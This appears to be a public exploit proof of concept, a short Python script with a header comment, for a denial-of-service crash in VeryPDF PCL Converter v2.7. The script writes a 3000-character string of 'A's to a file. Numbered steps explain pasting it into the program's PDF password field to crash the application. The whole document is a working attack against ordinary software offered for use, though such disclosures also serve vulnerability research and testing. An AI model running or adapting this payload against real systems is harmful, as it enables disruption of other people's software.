# -*- coding: utf-8 -*-# Exploit Title: VeryPDF PCL Converter v2.7 - Denial of Service (PoC)# Date: 19/05/2019# Author: Alejandra Sánchez# Vendor Homepage: http://www.verypdf.com# Software: http://www.verypdf.com/pcltools/pcl-converter.exe# Version: 2.7# Tested on: Windows 10# Proof of Concept:# 1.- Run the python script "PCLConverter.py", it will create a new file "PCLConverter.txt"# 2.- Copy the text from the generated PCLConverter.txt file to clipboard# 3.- Open VeryPDF PCL Converter v2.7 # 4.- Go to 'Setting' > 'PDF Security'# 5.- Mark 'Encrypt PDF File' and paste clipboard in the field 'User Password' or the field 'Master Password' and Click 'OK'# 6.- Click on 'Add File(s)', and select a pcl file, e.g. 'sample.pcl'# 7.- Click on 'Start', you will see a crash
buffer = "\x41"* 3000
f = open ("PCLConverter.txt","w")
f.write(buffer)
f.close()